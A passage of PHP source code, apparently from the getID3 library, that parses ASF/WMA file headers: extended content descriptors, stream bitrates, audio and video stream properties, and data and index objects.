					// Extended Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object
					// Object Size                  QWORD        64              // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
					// Content Descriptors Count    WORD         16              // number of entries in Content Descriptors list
					// Content Descriptors          array of:    variable        //
					// * Descriptor Name Length     WORD         16              // size in bytes of Descriptor Name field
					// * Descriptor Name            WCHAR        variable        // array of Unicode characters - Descriptor Name
					// * Descriptor Value Data Type WORD         16              // Lookup array:
																					// 0x0000 = Unicode String (variable length)
																					// 0x0001 = BYTE array     (variable length)
																					// 0x0002 = BOOL           (DWORD, 32 bits)
																					// 0x0003 = DWORD          (DWORD, 32 bits)
																					// 0x0004 = QWORD          (QWORD, 64 bits)
																					// 0x0005 = WORD           (WORD,  16 bits)
					// * Descriptor Value Length    WORD         16              // number of bytes stored in Descriptor Value field
					// * Descriptor Value           variable     variable        // value for Content Descriptor

					// shortcut
					$thisfile_asf['extended_content_description_object'] = array();
					$thisfile_asf_extendedcontentdescriptionobject       = &$thisfile_asf['extended_content_description_object'];

					$thisfile_asf_extendedcontentdescriptionobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_extendedcontentdescriptionobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_extendedcontentdescriptionobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_extendedcontentdescriptionobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) {
						// shortcut
						$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array();
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current                 = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter];

						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset']  = $offset + 30;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']         = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'];
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']        = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'];
						switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							default:
								$this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')');
								//return false;
								break;
						}
						switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) {

							case 'wm/albumartist':
							case 'artist':
								// Note: not 'artist', that comes from 'author' tag
								$thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/albumtitle':
							case 'album':
								$thisfile_asf_comments['album']  = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/genre':
							case 'genre':
								$thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/partofset':
								$thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/tracknumber':
							case 'tracknumber':
								// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
								$thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								foreach ($thisfile_asf_comments['track_number'] as $key => $value) {
									if (preg_match('/^[0-9\x00]+$/', $value)) {
										$thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value));
									}
								}
								break;

							case 'wm/track':
								if (empty($thisfile_asf_comments['track_number'])) {
									$thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								}
								break;

							case 'wm/year':
							case 'year':
							case 'date':
								$thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/lyrics':
							case 'lyrics':
								$thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'isvbr':
								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) {
									$thisfile_audio['bitrate_mode'] = 'vbr';
									$thisfile_video['bitrate_mode'] = 'vbr';
								}
								break;

							case 'id3':
								$this->getid3->include_module('tag.id3v2');

								$getid3_id3v2 = new getid3_id3v2($this->getid3);
								$getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								unset($getid3_id3v2);

								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = '<value too large to display>';
								}
								break;

							case 'wm/encodingtime':
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								$thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']);
								break;

							case 'wm/picture':
								$WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								foreach ($WMpicture as $key => $value) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value;
								}
								unset($WMpicture);
/*
								$wm_picture_offset = 0;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1));
								$wm_picture_offset += 1;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type']    = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']);
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size']    = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4));
								$wm_picture_offset += 4;

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset);
								unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);

								$imageinfo = array();
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo);
								unset($imageinfo);
								if (!empty($imagechunkcheck)) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
								}
								if (!isset($thisfile_asf_comments['picture'])) {
									$thisfile_asf_comments['picture'] = array();
								}
								$thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']);
*/
								break;

							default:
								switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
									case 0: // Unicode string
										if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') {
											$thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
										}
										break;

									case 1:
										break;
								}
								break;
						}

					}
					break;

				case GETID3_ASF_Stream_Bitrate_Properties_Object:
					// Stream Bitrate Properties Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object
					// Object Size                  QWORD        64              // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
					// Bitrate Records Count        WORD         16              // number of records in Bitrate Records
					// Bitrate Records              array of:    variable        //
					// * Flags                      WORD         16              //
					// * * Stream Number            bits         7  (0x007F)     // number of this stream
					// * * Reserved                 bits         9  (0xFF80)     // hardcoded: 0
					// * Average Bitrate            DWORD        32              // in bits per second

					// shortcut
					$thisfile_asf['stream_bitrate_properties_object'] = array();
					$thisfile_asf_streambitratepropertiesobject       = &$thisfile_asf['stream_bitrate_properties_object'];

					$thisfile_asf_streambitratepropertiesobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_streambitratepropertiesobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_streambitratepropertiesobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_streambitratepropertiesobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_streambitratepropertiesobject['bitrate_records_count']     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
					}
					break;

				case GETID3_ASF_Padding_Object:
					// Padding Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
					// Object Size                  QWORD        64              // size of Padding object, including 24 bytes of ASF Padding Object header
					// Padding Data                 BYTESTREAM   variable        // ignore

					// shortcut
					$thisfile_asf['padding_object'] = array();
					$thisfile_asf_paddingobject     = &$thisfile_asf['padding_object'];

					$thisfile_asf_paddingobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_paddingobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_paddingobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_paddingobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_paddingobject['padding_length']            = $thisfile_asf_paddingobject['objectsize'] - 16 - 8;
					$thisfile_asf_paddingobject['padding']                   = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']);
					$offset += ($NextObjectSize - 16 - 8);
					break;

				case GETID3_ASF_Extended_Content_Encryption_Object:
				case GETID3_ASF_Content_Encryption_Object:
					// WMA DRM - just ignore
					$offset += ($NextObjectSize - 16 - 8);
					break;

				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					}
					$offset += ($NextObjectSize - 16 - 8);
					break;
			}
		}
		if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) {
			$ASFbitrateAudio = 0;
			$ASFbitrateVideo = 0;
			for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
				if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) {
					switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) {
						case 1:
							$ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						case 2:
							$ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						default:
							// do nothing
							break;
					}
				}
			}
			if ($ASFbitrateAudio > 0) {
				$thisfile_audio['bitrate'] = $ASFbitrateAudio;
			}
			if ($ASFbitrateVideo > 0) {
				$thisfile_video['bitrate'] = $ASFbitrateVideo;
			}
		}
		if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) {

			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = 0;

			foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) {

				switch ($streamdata['stream_type']) {
					case GETID3_ASF_Audio_Media:
						// Field Name                   Field Type   Size (bits)
						// Codec ID / Format Tag        WORD         16              // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure
						// Number of Channels           WORD         16              // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
						// Samples Per Second           DWORD        32              // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure
						// Average number of Bytes/sec  DWORD        32              // bytes/sec of audio stream  - defined as nAvgBytesPerSec field of WAVEFORMATEX structure
						// Block Alignment              WORD         16              // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure
						// Bits per sample              WORD         16              // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure
						// Codec Specific Data Size     WORD         16              // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure
						// Codec Specific Data          BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['audio_media'][$streamnumber] = array();
						$thisfile_asf_audiomedia_currentstream      = &$thisfile_asf['audio_media'][$streamnumber];

						$audiomediaoffset = 0;

						$thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16));
						$audiomediaoffset += 16;

						$thisfile_audio['lossless'] = false;
						switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) {
							case 0x0001: // PCM
							case 0x0163: // WMA9 Lossless
								$thisfile_audio['lossless'] = true;
								break;
						}

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_audio['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						} else {
							if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8;
							} elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate'];
							}
						}
						$thisfile_audio['streams'][$streamnumber]                = $thisfile_asf_audiomedia_currentstream;
						$thisfile_audio['streams'][$streamnumber]['wformattag']  = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag'];
						$thisfile_audio['streams'][$streamnumber]['lossless']    = $thisfile_audio['lossless'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']     = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['dataformat']  = 'wma';
						unset($thisfile_audio['streams'][$streamnumber]['raw']);

						$thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2));
						$audiomediaoffset += 2;
						$thisfile_asf_audiomedia_currentstream['codec_data']      = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']);
						$audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size'];

						break;

					case GETID3_ASF_Video_Media:
						// Field Name                   Field Type   Size (bits)
						// Encoded Image Width          DWORD        32              // width of image in pixels
						// Encoded Image Height         DWORD        32              // height of image in pixels
						// Reserved Flags               BYTE         8               // hardcoded: 0x02
						// Format Data Size             WORD         16              // size of Format Data field in bytes
						// Format Data                  array of:    variable        //
						// * Format Data Size           DWORD        32              // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure
						// * Image Width                LONG         32              // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
						// * Image Height               LONG         32              // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure
						// * Reserved                   WORD         16              // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure
						// * Bits Per Pixel Count       WORD         16              // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure
						// * Compression ID             FOURCC       32              // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure
						// * Image Size                 DWORD        32              // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure
						// * Horizontal Pixels / Meter  DWORD        32              // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
						// * Vertical Pixels / Meter    DWORD        32              // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure
						// * Colors Used Count          DWORD        32              // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure
						// * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
						// * Codec Specific Data        BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['video_media'][$streamnumber] = array();
						$thisfile_asf_videomedia_currentstream      = &$thisfile_asf['video_media'][$streamnumber];

						$videomediaoffset = 0;
						$thisfile_asf_videomedia_currentstream['image_width']                     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['image_height']                    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['flags']                           = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1));
						$videomediaoffset += 1;
						$thisfile_asf_videomedia_currentstream['format_data_size']                = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_width']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_height']     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['reserved']         = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']   = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']     = substr($streamdata['type_specific_data'], $videomediaoffset, 4);
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_size']       = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels']  = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['vertical_pels']    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_used']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_data']       = substr($streamdata['type_specific_data'], $videomediaoffset);

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						}

						$thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']);

						$thisfile_video['streams'][$streamnumber]['fourcc']          = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'];
						$thisfile_video['streams'][$streamnumber]['codec']           = $thisfile_asf_videomedia_currentstream['format_data']['codec'];
						$thisfile_video['streams'][$streamnumber]['resolution_x']    = $thisfile_asf_videomedia_currentstream['image_width'];
						$thisfile_video['streams'][$streamnumber]['resolution_y']    = $thisfile_asf_videomedia_currentstream['image_height'];
						$thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'];
						break;

					default:
						break;
				}
			}
		}

		while ($this->ftell() < $info['avdataend']) {
			$NextObjectDataHeader = $this->fread(24);
			$offset = 0;
			$NextObjectGUID = substr($NextObjectDataHeader, 0, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8));
			$offset += 8;

			switch ($NextObjectGUID) {
				case GETID3_ASF_Data_Object:
					// Data Object: (mandatory, one only)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Data object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1
					// File ID                          GUID         128             // unique identifier. identical to File ID field in Header Object
					// Total Data Packets               QWORD        64              // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1
					// Reserved                         WORD         16              // hardcoded: 0x0101

					// shortcut
					$thisfile_asf['data_object'] = array();
					$thisfile_asf_dataobject     = &$thisfile_asf['data_object'];

					$DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24);
					$offset = 24;

					$thisfile_asf_dataobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_dataobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_dataobject['objectsize']         = $NextObjectSize;

					$thisfile_asf_dataobject['fileid']             = substr($DataObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_dataobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']);
					$thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_dataobject['reserved']           = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_dataobject['reserved'] != 0x0101) {
						$this->warning('data_object.reserved (0x'.sprintf('%04X', $thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"');
						//return false;
						break;
					}

					// Data Packets                     array of:    variable        //
					// * Error Correction Flags         BYTE         8               //
					// * * Error Correction Data Length bits         4               // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000
					// * * Opaque Data Present          bits         1               //
					// * * Error Correction Length Type bits         2               // number of bits for size of the error correction data. hardcoded: 00
					// * * Error Correction Present     bits         1               // If set, use Opaque Data Packet structure, else use Payload structure
					// * Error Correction Data

					$info['avdataoffset'] = $this->ftell();
					$this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data
					$info['avdataend'] = $this->ftell();
					break;

				case GETID3_ASF_Simple_Index_Object:
					// Simple Index Object: (optional, recommended, one per video stream)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Simple Index object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Simple Index object, including 56 bytes of Simple Index Object header
					// File ID                          GUID         128             // unique identifier. may be zero or identical to File ID field in Data Object and Header Object
					// Index Entry Time Interval        QWORD        64              // interval between index entries in 100-nanosecond units
					// Maximum Packet Count             DWORD        32              // maximum packet count for all index entries
					// Index Entries Count              DWORD        32              // number of Index Entries structures
					// Index Entries                    array of:    variable        //
					// * Packet Number                  DWORD        32              // number of the Data Packet associated with this index entry
					// * Packet Count                   WORD         16              // number of Data Packets to sent at this index entry

					// shortcut
					$thisfile_asf['simple_index_object'] = array();
					$thisfile_asf_simpleindexobject      = &$thisfile_asf['simple_index_object'];

					$SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24);
					$offset = 24;

					$thisfile_asf_simpleindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_simpleindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_simpleindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_simpleindexobject['fileid']                    =                  substr($SimpleIndexObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_simpleindexobject['fileid_guid']               = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']);
					$thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_simpleindexobject['maximum_packet_count']      = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_simpleindexobject['index_entries_count']       = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;

					$IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']);
